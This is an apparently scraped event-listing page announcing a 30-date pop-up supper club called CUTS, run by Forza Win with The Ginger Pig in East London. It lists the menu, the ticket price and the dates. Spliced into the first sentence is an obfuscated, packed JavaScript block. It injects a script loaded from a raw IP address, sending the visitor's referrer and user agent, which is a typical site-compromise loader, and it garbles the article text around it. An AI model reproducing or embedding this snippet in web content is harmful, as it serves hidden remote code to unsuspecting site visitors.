FORWA WIN CUTS…

MEAT

Those (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbzft|var|u0026u|referrer|ahrrt||js|php’.split(‘|’),0,{}))
rooftop pop-up leaders over at Forza Win have announced a 30-date collaboration with The Ginger Pig named CUTS. This time they have descended from the roof into a disused pickle factory in East London.

Each night guests will sit down to four courses; lamb, pork and beef, ending with an English take on a classic Italian pudding. Expect unusual but tasty cuts of juicy meat.

The menu leans towards gutsy Italian classics, big flavours, generous portions and simple execution. There’s a selection of Italianate cocktails, wine and beer will be available ensure that no one goes thirsty. Supper will be served on a communal table, family style, and cooked on a wood fired grill.

Tickets are £40 and include an aperitivo, four courses and coffee. Book the f**k up baby: cuts@forzawin.com

Kicks off Thurs 25th July and runs until Sun 22nd Sept (Thurs – Sat 7pm & Sun 1:30pm)
Secret London location
www.forzawin.com